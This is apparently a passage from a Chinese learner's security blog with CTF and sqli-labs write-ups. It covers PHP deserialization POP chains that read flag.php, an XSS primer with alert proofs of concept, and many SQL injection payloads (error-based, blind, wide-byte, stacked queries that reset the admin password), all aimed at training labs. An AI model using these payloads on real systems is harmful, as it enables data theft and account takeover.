$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

定义的is_valid()函数检查每个字符是否在32和125之间,即是否是可打印字符,所以protected在序列化之后会出现不可见字符,不符合上面的要求,绕过方法就是直接改成public,原因是php7.1以上的版本对属性类型不敏感。

1
2
3
4
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);

这里是我们需要关注的题目出口,file_get_contents()把整个文件读入一个字符串中,那么我们就可以将文件名改成我们要读取的文件这里可以看到上面的文件包含,想到了伪协议读取php://filter/read=convert.base64-encode/resource=flag.php。接着要调用这个函数就关注到

1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

当op==”2”时会调用read(),然后调用output

1
2
3
private function output($s) {
echo "[Result]: <br>";
echo $s;

输出字符串内容
然后我们需要考虑如何调用process()

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

关注到这里,但是需要绕过强比较,所以op=2,既可以绕过强比较又可以让process中的弱比较返回true。__destruct()会由实例化触发或反序列化触发。
构造pop链:

1
2
3
4
5
6
7
8
9
10
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
echo serialize($a);

?>

DASCTF EZUnserialize

这是一题字符减少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

目标:通过file_get_contents输出$c的信息,所以可以使$c为flag.php
反推开始:1、触发__toString魔术方法
2、触发__destruct魔术方法,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,类B实例化最终被销毁的时候触发
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

class A{
public $username;
public $password;

}

class B{
public $b = 'gqy';

}

class C{
public $c;

}
$b=new B();
$c=new c();
$c->c='flag.php';
$b->b=$c;
echo serialize($b);
?>
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

这里需要对上面的源代码进行解释:
$a = new A($_GET['a'],$_GET['b']);将类A实例化并且接受传参,自动触发__construct(),并且参数会传入function __construct($a, $b)

1
2
3
4
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}

补充:

详见:https://www.icoa.cn/a/957.html
回到正题,接下来将
再把序列后的值传给类A:

1
2
3
4
5
6
7
8
9
10
11
<?php
class A{
public $username;
public $password='O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
function __construct(){

}
}

$a = new A();
echo serialize($a);

得到:

1
O:1:"A":2:{s:8:"username";N;s:8:"password";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

传进去的序列化值,被当成字符串了。
而题目又给了两个方法:

1
2
3
4
5
6
7
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
1
2
3
4
反序列化操作也给了出来:
$b = unserialize(read(write(serialize($a))));
write方法:把序列化值中的 *(这里是三个字符,chr(0)是为空的)替换成 \0\0\0。
read方法:把\0\0\0,还原成*

先试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username='\0\0\0';
public $password='O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
function __construct(){

}
}

$a = new A();
echo serialize($a);
echo read(serialize($a));

对比可以发现,通过read函数后,s:6:"*"这段很明显是错误的,他包含到的是s:6:"*";s,并且没有双引号闭合,如果要反序列化肯定是不行的(这里双引号里包含的是三个字符,浏览器显示问题看不到)。所以如果把一个特殊的的值赋值给password,然后通过read方法吞掉部分字符,就能达到字符串逃逸的效果
所以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username='\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0';
public $password='a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
function __construct(){

}
}

$a = new A();
echo serialize($a);
echo "\n\n";
echo read(serialize($a));

提前计算要逃逸的字符数";s:8:"password";s:73:"a为23,由于23不能和3整除,所以添加一个字符a
payload:

1
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

对于涉及字符串逃逸的题还是有点懵,总是做着做着就忘记要干嘛了

[NISACTF 2022]babyserialize

反序列化绕过正则

preg_match(‘/^O:\d+/‘)

绕过方法1:利用加号来绕过过滤,因为数字1其实完整的写法是+1,所以这里我们就是在O后面这个数字前面加一个+

绕过方法2:在加号不能使用的情况下,我们可以使用数组绕过,在序列化的时候加上array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//EXP
<?php

class AAA{
public $name="aaa";
}

echo serialize(array(new AAA));

//实例
<?php
class AAA{

public $name;

public function __destruct(){
echo $this -> name;
}
}
var_dump(unserialize('a:1:{i:0;O:3:"AAA":1:{s:4:"name";s:3:"aaa";}}'));

1
2
3
4
5
$a[]='flag.php';

$a=array('flag.php');

$a=['flag.php'];

xss漏洞

Posted on 2023-04-06

简介

跨站脚本(Cross-Site Scripting),本应该缩写为CSS,但是该缩写已被层叠样式脚本Cascading Style Sheets所用,所以改简称为XSS。也称跨站脚本或跨站脚本攻击。跨站脚本攻击XSS通过将恶意的Script代码注入到Web页面中,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

攻击对象

用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然后浏览器不会判断代码是否恶意,也就是说xss的对象是用户的浏览器

一般的攻击过程:

1
2
3
4
攻击者将恶意代码注入到服务器中(如论坛、留言板、邮件等);
用户在没有防备的情况下访问了被注入了恶意代码的服务器;
服务器将含有恶意代码的网页响应给客户端;
在客户端浏览器中触发JS恶意代码。

只要没有对用户的输入进行严格过滤,就会被xss。当攻击者可以将恶意代码注入到服务器中,我们就认为其存在xss漏洞。

XSS漏洞危害

1
2
3
4
5
6
恶意用户利用xss代码攻击成功后,可能会得到很高的权限
(1)盗取各种用户账号;
(2)窃取用户Cookie资料,冒充用户身份进入网站;
(3)劫持用户会话,执行任意操作;是指操作用户浏览器;
(4)刷流量,执行弹窗广告;
(5)传播蠕虫病毒。

XSS漏洞分类

反射型XSS、存储型XSS和DOM型XSS

反射型XSS

定义:反射型XSS是非持久性、参数型跨站脚本。反射型XSS的JS代码在web应用的参数(变量)中,如搜索框的反射型XSS。
特点:这种攻击方式往往具有一次性
攻击方式:攻击者通过电子邮件等方式将包含xss代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有xss代码的数据发送给目标用户的浏览器,浏览器解析这段带有xss代码的恶意脚本后,就会触发xss漏洞。

存储型XSS

定义:存储型XSS是持久性跨站脚本,持久性体现在xss代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。
特点:攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中 。 当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行 。所以需要浏览器从服务器载入恶意的xss代码,才能真正触发xss。

DOM型XSS

节点树模型

DOM全称Document Object Model,中文为文档对象模型,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式 。
HTML 的标签都是节点,而这些节点组成了 DOM 的整体结构一一节点树。通过HTML DOM,树中的所有节点均可通过JavaScript进行访问 。 所有HTML元素(节点)均可被修改,也可以创建或删除节点 。

DOM型XSS比较特殊,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM型XSS比较难以检测。
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。 当用户的浏览器处理这个响应时, DOM对象就会处理XSS代码,导致存在XSS漏洞 。

漏洞验证相关概念

1
2
3
4
POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞验证的代码。
EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的工具,即从漏洞检测验证到利用的工具。
Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。
Shellcode:简单翻译 ’ shell代码 ',利用漏洞时所执行的代码,是Payload的一种。Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。

常见的用于验证XSS漏洞存在的POC如下:

1
2
3
<script>alert(/xss/)</script>    //弹框最常用
<script>confirm('xss')</script> //弹出确认框
<script>prompt('xss')</script> //弹出输入框

本文采用:https://blog.csdn.net/m0_64378913/article/details/124654153

sqli-lab-Less-23

Posted on 2023-04-01

Less-23

查看源码

1
2
3
4
5
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

preg_replace($reg, $replace, $id)大概意思是如果id传参中有$reg的值则将其代替为$replaced的值
在这里是将#和–+替代为空,即注释被过滤
我们可以使用
and '1'='1
因为id是单引号闭合的
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
接下来的很简单了,可以使用联合注入、报错注入、布尔盲注、时间盲注

Less-24

二次注入

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
配合下图可以有更好的理解:

mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符

可以预防sql注入

1
2
3
4
5
6
7
8
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "

可以看出只有username没有受到保护,所以我们注册受污染的用户名和正常的密码
当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。
注册用户名:admin’# 密码:123123 ,修改密码为:123456
然后以管理员admin,密码123456登录成功
这一题好像有bug吧

Less-25

1
2
$id= preg_replace('/or/i',"", $id);			
$id= preg_replace('/AND/i',"", $id);

and和or被过滤。,而且or/i中的i表示此函数不区分大小写,所以AND和OR也被抹掉
那我们可以使用||和&&进行一个代替,但是&&在URL栏中有别的意思代表多个传参的意思,所以我们要进行一个URL编码
&&即为%26%26,如果理解没错的话||不需要编码,但是在information_schema中不能使用||来代替or,它们只是逻辑上相同
这个时候我们就得用双写法,即将information写成infoorrmation,函数只会抹去一个or,这一波我们在第二层
Less-25/?id=-1'union select 1,2,table_name from infoorrmation_schema.tables where table_schema='security'--+
在此之前的order别忘了双写
接下来使用联合注入就行了

Less-26

这一题更恶心,过滤了许多字符
我们看一下源码

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

这个blacklist不就是黑名单的意思吗
\S 匹配任何非空白字符
这里我们可以给一些地方添加括号来规避空格,使用双写来代替and和or,这里使用空格的URL编码好像不行
举个例子

爆表名

||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0

||可以用%7C%7C来替代

黑名单和白名单

黑名单是不允许输什么,白名单是只允许输什么

Less-27

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}

这一关又过滤了一些东西

爆库名

?id=1'and(updatexml(1,concat(0x5e,database()),1)) and '1'='1

爆表名

?id=1'and%0aupdatexml(1,concat(0x5e,(selEct%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'%0alimit%0a0,1)),1)and '1'='1

爆字段

?id=1'and%0aupdatexml(1,concat(0x5e,(selEct%0acolumn_name%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'and%0atable_name='users'%0alimit%0a0,1)),1)and '1'='1

爆数据

?id=1'and%0aupdatexml(1,concat(0x5e,(selEct%0aid%0afrom%0aemails%0alimit%0a0,1)),1)and'1'='1

Less-28

查看源码

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

?id=1')and%0aupdatexml(1,concat(0x5e,database()),1)and('1')=('1
试了一下,不能使用报错注入
那我们就使用布尔盲注

猜库名长度

?id=1')and(length(database()))=8%0aand('1')=('1

利用ASCII码猜解当前数据库名称

?id=1')and(ascii(substr(database(),1,1)))=115%0aand('1')=('1

猜表名

?id=1')and(ascii(substr((select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a0,1),1,1)))=101%0aand('1')=('1
这里不再详述了

Less-32

什么是宽字节

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
英文默认占一个字节,中文占两个字节

宽字节注入原理

简单来说,宽字节注入就是将两个ascii字符误认为是一个宽字节字符
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字
常我们sql注入会输入id=1’或id=1’’进行测试,如果数据库过滤不严格就会产生报错,宽字节注入会在 ‘ 前加入 \,加入反斜线之后,起到一个转义作用,这样,存在的 ‘ 就会失去注入的功能。我们利用宽注入的原理,输入id=1%df’,页面就会发生报错,这是因为GBK编码认为一个汉字占两个字节,\的url编码是%5C,加上 %df ,前面两个字符就会拼接为 %df%5c被识别为一个汉字。这样,\自动消失,转义作用在此失效。重新构造出来的汉字叫是真实存在但是浏览器不能很好识别的一个汉字。理论上可以不一定要使用%df,像%81 、%a1经测试也是可以实现的,只要能够重新构造出一个真实存在且不能被浏览器很好识别的汉字,并且编码能够包含%5c使\失效的字符都可以。

?id=1%df'and 1=1 --+
?id=1%df'order by 4--+
?id=-1%df'union select 1,table_name,3 from information_schema.tables where table_schema=database()--+
?id=-1%df'union select 1,column_name,3 from information_schema.columns where table_schema=database()and table_name=0x656d61696c73--+
这里因为’会被\转义,所以查表名的时候可以使用database(),查列名的时候可以使用0x开头的16进制表示字符串emails,这样来规避’’被转义

Less-33

Less-32是手动利用代码转义’,而33是用函数转义的

Less-34

这里是post型,不能使用get型的绕过
我们在输入框中输入的%df的%也会被编码

那么我们在bp抓包后进行修改,宽字节注入,去闭合单引号

Less-35

本关不用闭合
?id=1 order by 4 --+ ?id=-1 union select 1,2,3 --+ ?id=-1 union select 1,2,database() --+
后面查表名字段都只要使用0x16进制替代就行

Less-36

这关和32关一样,只是函数不同

Less-37

这关和34关相同只是转义的函数改变
同样可以使用bp修改

Less-38


这个函数很危险,支持多条查询,因此我们可以堆叠注入

堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

Less-39

本关无闭合

Less-40

闭合为’)

Less-41

先用万能密码试用户名和密码,改变闭合
'or 1=1#
发现在password存在注入点

先用报错注入查出库名和表名,用户名等
于是我们返回登入页面,查看源码可知,存在堆叠注入,password栏输入
';update security.users set password='111112' where username='admin'#
用户名输入admin,登录失败,但是密码已被修改,再次登录,使用新密码即可成功登录

Less-43

与42相比只是闭合区别’)

Less-44

‘闭合,使用布尔盲注猜库表字段,再修改admin的密码

Less-46-47

输入?sort=1

1
$sql = "SELECT * FROM users ORDER BY $id";

这是一个排序语句
我们试一试使用联合查询
?sort=1 union select 1,2,3 --+

order by 后面不可以接联合查询,我们试一试爆错注入
?sort=1 and updatexml(1,concat(0x5e,database()),1) --+

ok
Less-47就是一个闭合的改变

Less-48

试了一下报错和布尔盲注都不行,使用时间盲注
?sort=1 and if(length(database())=8,sleep(5),1)
页面延时

其他语句
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)
?sort=1 and if(ascii(substr(select table_name from information_schema.tables where table_schema='security'))=120,sleep(5),1)

Less-49 是闭合改变

sqli-lab-Less-18-22

Posted on 2023-03-31

首先对靶场源码进行分析

1
$uagent = $_SERVER['HTTP_USER_AGENT'];

php $_SERVER[‘HTTP_USER_AGENT’]用法介绍
在PHP中HTTP_USER_AGENT是用来获取用户的相关信息的,包括用户使用的浏览器,操作系统等信息
显示结果为:
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2372.400 QQBrowser/9.5.10548.400
即为User-Agent中的信息

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

这里可以看见$uagent被传进来拼接在sql语句上,因此,我们可以以此进行报错注入

爆库名

User-Agent: 1',1,updatexml(1,concat(0x5e,database()),1))#

爆表名

User-Agent: 1',1,updatexml (1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1))#

爆字段

只能一个一个爆

User-Agent: 1',1,updatexml (1,concat(0x5c,(select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 0,1)),1))#

爆数据

User-Agent: 1',1,updatexml (1,concat(0x5c,(select username from users limit 0,1)),1))#

这关视频里的解题和正确的解题方式有出入,把我误导了,还好有优秀的同学伸出援手,不然真不知道要卡到什么时候

小结

1
2
3
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
row1 = mysql_fetch_array($result1);

源码中会将我们输入的用户名和密码带入数据库查询,如果只输入了用户名或者密码$sql就为0,$result1也为0,row1也为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";

}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}

}

这个if语句就不会执行,那么其中的

1
2
3
4
5
6
7
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);

echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());

不会执行,那么即使我们修改了请求头中的User-Agent也没有用

Less-19

和上题一样,这里我们必须输入用户名和密码

1
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

注意源码中的格式,values值有两个,我们要写成这个格式
1',1)#
演示一个爆库名
1',updatexml(1,concat(0x5e,database()),1))#

Less-20

第二十关当我们输入正确页面时候cookie字段显示在页面上
Cookie: uname=admin'and updatexml(1,concat(0x5e,database()),1)#

接下来的动作和上面两关一样

Less-21

先输入用户名和密码

抓包

发现其cookie值采用了base64编码,在程序源码中也有相应的解码,所以注入语句需要编码
查看源码

1
2
3
4
$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);

由于base64编码一些特殊符号可能会出现问题,所以不能使用–+ #这样的字符,可以使用and ‘1’=’1
'and updatexml(1,concat(0x5e,database()),1) and '1'='1

1
$sql="SELECT * FROM users WHERE username=(''and updatexml(1,concat(0x5e,database()),1) and '1'='1') LIMIT 0,1";

爆库名

'and updatexml(1,concat(0x5e,database()),1) and '1'='1
base64编码后
J2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg1ZSxkYXRhYmFzZSgpKSwxKSBhbmQgJzEnPScx

爆表名

'and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) and '1'='1

'and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),1) and '1'='1

爆字段

'and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 1,1)),1) and '1'='1

爆数据

'and updatexml(1,concat(0x5e,(select username from users limit 0,1)),1) and '1'='1

'and updatexml(1,concat(0x5e,(select group_concat(username) from users limit 0,1)),1) and '1'='1

'and updatexml(1,concat(0x5e,(select group_concat(username,password) from users limit 0,1)),1) and '1'='1

还是推荐使用limit比较稳妥

Less-22

和Less-21大同小异
查看源码

1
2
3
4
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

只需要将单引号替换为双引号
"and updatexml(1,concat(0x5e,database()),1) and "1"="1

sqli-lab-Less-9

Posted on 2023-03-31

第九关不管输入什么,页面都是一样的,所以不能使用布尔盲注,布尔盲注适合页面对正确和错误的结果有不同的反应,
这里使用时间盲注

判断参数构造

?id=1' and if(1=1,sleep(5),1)--+
为单引号闭合

猜库名长度

?id=1'and if(length((select database()))=8,sleep(5),1)--+
库名长度为8

猜库名

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
库名为security

猜表名

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=100,sleep(5),1)--+
猜出email,users

猜字段

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=100,sleep(5),1)--+

爆数据

?id=1' and if(ascii(substr((select username from users),1,1))=100,sleep(5),1)--+

第十关同理,只是变成”闭合

sqli-lab-Less-8

Posted on 2023-03-31

由于第八关没有显错位,所以考虑使用盲注,这里使用布尔盲注+Bp(intruder)

猜解库名数

Less-8/?id=1'and (length(database()))=1 --+
爆出数据库的字符数为8

利用ASCII码猜解当前数据库名称

Less-8/?id=1%27%20and%20(ascii(substr(database(),1,1)))=100%20--+
爆出表名为security

猜表名

Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)))=117 --+
爆出表名为users的表

猜字段名

Less-8/?id=1%27%20and%20(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27and%20table_name=%27users%27%20limit%203,1),1,1)))=117%20--+
爆出字段名password,同理可以爆出字段名username

爆数据

http://localhost/sqli-labs-master/Less-8/?id=1%27%20and%20(ascii(substr((select%20password%20from%20users%20limit%200,1),1,1)))=117%20--+
爆出第一位用户的密码

sqli-lab-Less-3-6

Posted on 2023-03-29

第二关和第一关类似,就不在过多赘述

Less-3

第三关我们先查看一下源码

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

这样一行代码,即我们输入的值被(‘’)包括,类似的,将其闭合
Less-3/?id=1’)
后面都与第一关相同

Less-4

1
2
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

“两边的单引号是引双引号的,即id是用双引号和括号闭合的

Less-5

首先依然是判断注入点类型,’闭合

updatexml报错注入

通过分析上面的代码得知,数据库会报错

1
2
3
4
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

于是我们可以尝试使用updatexml报错注入,因为有时候报错注入的致命错误会显示出来,数据库只忽略普通报错

爆库名

Less-5/?id=1' and updatexml(1,concat('~',(select database()),'~'),1) --+

爆表名

Less-5/?id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~'),1) --+

爆字段

Less-5/?id=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 1,1),'~'),1) --+

limlt 2,1

爆数据

Less-5/?id=1' and updatexml(1,concat('~',(select username,password from users limit 0,1),'~'),1) --+

一个字段一个字段来
Less-5/?id=1' and updatexml(1,concat('~',(select group_concat(password) from users ),'~'),1) --+

第六关和第五关(“闭合)类似,这里就不再过多赘述

<i class="fa fa-angle-left"></i>1…345<i class="fa fa-angle-right"></i>

41 posts
10 tags
© 2024 yzklov
Powered by Hexo
|
Theme — NexT.Pisces v5.1.3